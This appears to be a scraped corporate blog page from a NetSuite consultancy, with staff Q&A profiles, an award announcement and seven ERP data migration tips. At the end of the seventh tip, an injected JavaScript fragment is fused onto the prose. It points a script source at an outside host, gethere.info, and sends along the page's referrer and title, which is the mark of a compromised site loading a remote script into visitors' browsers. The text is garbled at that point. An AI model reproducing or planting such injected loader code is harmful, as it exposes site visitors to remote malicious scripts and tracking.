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Trajectory Blog

Welcome to our Blog. A source for insights, news and pro tips on NetSuite, the industries we serve and our own company.

Q&A with Kristina Dimitri

Trajectory NetSuite Consultant

Meet Kristina Dimitri, Trajectory NetSuite Consultant, whose strength is putting herself in her customers’ shoes and addressing issues from their perspectives. Below Kristina provides insights on her role at Trajectory and her advice to customers…


Q: Describe your role at Trajectory in your own words?
A: I listen to the client’s needs and translate them into something awesome inside NetSuite.

Q: What do you like most about your role?
A: My favourite part of my role is transforming requirements into a tangible solution inside NetSuite and making the client’s day to day life easier!

Q: Most interesting piece of work you are doing right now and why?
A: The most interesting piece of work I am doing right now is creating a customized Marketing engine within NetSuite.

Q: Question/problem you are asked most often by customers to address/solve and your answer?
A: I am most often asked about reporting. People are always really interested in how they can see all aspects of their business quickly and easily. My answer to them is always NetSuite saved searches! They are very easy to use and so powerful!

Q: Skill set(s) you find most valuable in your role?
A: I believe my most valuable skill set is being able to understand client’s needs quickly. As well as understanding the end user’s point of view and how it affects their day to day job.

Q: Top piece of advice you would give a customer about software implementation from your perspective?
A: My top piece of advice is two fold, know how your business currently works and know how you want your business to work after the implementation.

Q: Favourite pastimes outside of the office?
A: My favourite pastimes are going out for dinner, watching movies and taking my dog to the dog park.

Trajectory Makes CIO Review’s Top 20 List

CIO Review

 

We’re happy to announce that Trajectory has made CIO Review’s top 20 NetSuite Solution Provider list this year. We’re touched an honoured (but if we’re honest, not that surprised… we’ve been working very hard.)

The article does a great job of outlining the way organizations are approaching NetSuite, and how the concept of ‘the Suite’ is evolving. Our COO, Alex Olano,  does a great job reflecting on what we’re hearing from our clients and their CIOs. He also does a nice job of plugging advertisingERP, Trajectory’s advertising focused platform for NetSuite.

Nice work Alex!

The Article about Trajectory can be found here, and the entire publication is available here.

 

Q&A with Andrew Andreoli

aandreoli

Meet Andrew Andreoli, Director of Trajectory’s OnDemand Services, aka the guy with the “Best Seat in the House”, who gets to watch many great ideas be conceived, planned, executed and measured. Andrew provides insights on his role at Trajectory and his advice to customers…


Q: What do you like most about your role?
A: Seeing great ideas from customers and our teams come to life and the impact that they have.

Q: Most interesting piece of work you are doing right now and why?
A: We are making NetSuite do some amazing things right now! From meeting strict speed and performance standards to automating unique process flows. This is some great stuff.

Q: Skill set you find most valuable in your role?
A: Honestly? It’s patience. Uncovering the most important issues and helping customers and our teams find and deliver the best solution takes energy and time – often more than we all foresee at the outset.

Q: Question/problem you are asked most often by customers to address/solve and your answer? 
A: “So, how are we going to do this?” Uncovering ‘why’ and ‘what’ can be more straightforward at times. The ‘how’ question is often the toughest.

Q: Top piece of advice you would give a customer about software implementation from your perspective?
A: Implementing great work is rewarding and difficult. It requires the focus of all team members and the willingness to change perhaps a little more than you would like.

Q: Favourite pastime outside of the office?
A: I’m a family guy through and through!}

ERP Data Migration Best Practices: 7 Tips to Help Increase Data Migration Success

 

Data Migration Tips Blog Image

 

The reality is, data migration is often an afterthought in an ERP implementation because the project sponsor is focused on the ROI of the project, which comes from the process improvement, time savings, and improved productivity. Data migration is that distant relative nobody likes who just shows up at Thanksgiving dinner. I may not be able to make your Thanksgiving dinner more pleasant, but here are 7 tips that will help make your Data Migration more successful:

1 – Be Realistic

If you want to drive a Ferrari, don’t expect to also fit your whole family in the car. The first step with data migration is to properly scope out what data and how much data you want to bring across. In the perfect world, you want everything in your old system to just show up in the new one, but the reality is, you have limited time, headcount and project budget. Pick your battles wisely. Communicate expectations well in advance to the stakeholders so that no one is surprised with what they see in the new system.

2 – Prioritize Your Data

Map out all the things that are crucial for your business to Go Live. You don’t want to be in a situation where you have 5 years of Support Case history but have nothing to sell because your Item Master has not been brought over. Meet with your stakeholders and decide on the top priorities for the business. If you try to migrate too many things at once, you likely won’t finish any of it. Obviously, master data and open transactions will take priority over closed historical data. But even within your master data and open transactions, you can set priorities. For example, out of your customer or vendor master, you may only want to bring over records you have done business with in the last two years.

3 – Staff Properly

Data migration is a full time job. If the person responsible for data migration is also the project manager who needs to close month end while preparing next fiscal year’s budget, the job won’t get done. At the same time, you want someone who understands the data and business processes to oversee the data migration effort because you want meaningful data in your new system. Lastly, you also want someone with the technical skillset to analyze and manipulate the data because not all data files are created equal. Bringing in temps or co-op students with strong technical skills who can fully dedicate their time with data is a cost effective solution that delivers great results.

4 – Master Data Strategy

This is especially important if you are trying to migrate data from multiple systems. There should be one version of truth in your new system. Be sure that your Subject Matter Experts review the data before it is loaded into your new system. Gauge the data quality of your existing systems, especially if there is manual data entry in multiple systems. Your data will not be 100% accurate and your Subject Matter Expert will need to clean up any bad data. Purge unnecessary data and merge duplicate data before bringing it over to the new system. Understand that this is a continuous effort because your old systems will continue to generate new data until the day you Go Live. Be prepared to maintain it. Treat your new ERP system like a new home. Don’t bring over garbage!

5 – Test in Small Batches

Load your data gradually and test it in small batches. You don’t want to spend time building a bed only to realize it does not fit in your bedroom. Start with a handful and see how the new system handles the data, and gradually increase your sample size. Once you have established a rhythm then load bigger batches. There is a lot of time saving to find out errors early in the process. Keep in mind you are running against the clock and there is no room for surprises at the zero hour. Learn and understand all your obstacles and errors early on.

6 – Validate Your Data

Once you have loaded everything into the system, the job is still not done. You need to validate that the data is correct. There are a few things you need to check. First is data volume. If you load in 1,000 records, you want to make sure there are 1,000 records in the new system. Second is quantity and value. If the batch total is $10,000, you want to be sure that the system also loaded $10,000. Even then, the validation is not complete because you need to make sure that any data you have brought over are mapped to the correct fields. This is a tedious process but has significant downstream implications because you cannot Go Live with incorrect General Ledger balances, Inventory value, or incorrect billing. Validate your data after ever load and validate it all again once you are done.

7 – Have a Plan B

The very last of the Thirty-six Stratagems says, “If All Else Fails, Retreat”. Always have a Plan B in case your data migration is incomplete at the zero hour. Fortunately, you still have several options. First option is to trim down scope. Discard any unnecessary tasks and focus on what is important for go live. There are things that can be done after go live, so it doesn’t have to get done all at once. Second option is to plan for a manual data entry workaround. You may not get all the data into the system in a data load, but it doesn’t stop you from having data entry staff on standby to key in data manually. Alternatively, communicate with the business so that the business users are prepared to fix bad data as they use the system after Go Live. If the address or contact information on your customer records are missing, have the business users enter this information as they process orders after Go Live. As a very last resort, be prepared to postpone Go Live. No one wants to postpone an ERP launch, but if the system is not ready then live and fight another day. Last thing you want is to rush and have a disastrous Go Live because none of the data makes sense in the new system.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Q&A with Simi Sandhu

simi

Meet our Manager of Project Details, Sukhroop Sandhu (aka Simi, Project Manager), who provides her thoughts on her role at Trajectory…


Q: What do you like most about your role?
A: I like how I deal with multiple projects at a given time, so it’s never just one project and hence never BORING! The opportunity to experience the diversity of each project is great. Each project comes with an opportunity to learn something new.

Q: Most interesting piece of work you are doing right now and why?
A: Managing a complex project with multiple initiatives running at the same time with OnDemand consulting requests and questions come in on a daily basis. What makes my job interesting is keeping track of all of the details: internal and external status calls, initiatives log updates, budget tracker updates and making sure everything is making progress.

Q: Skill set you find most valuable in your role?
A: Project Management skills (communication skills, interpersonal skills, attention to detail), customer-first approach, time management, MS Office, Bachelor of Engineering (Computer Science Degree).

Q: Question/problem you are asked most often by customers to address/solve and your answer? 
A: The questions from the customers mostly relate to invoices, budget utilization or time tracking reports that I send out on a weekly/monthly basis. When the question relates to the invoice, I send them the matching time report that supports the items on the invoice. For other budget/time report related questions, I direct the customer to the appropriate time entries on their time entry reports.

Q: Favourite pastime outside of the office?
A: I enjoy looking up interesting places in and around Canada and planning on how and when to go visit.

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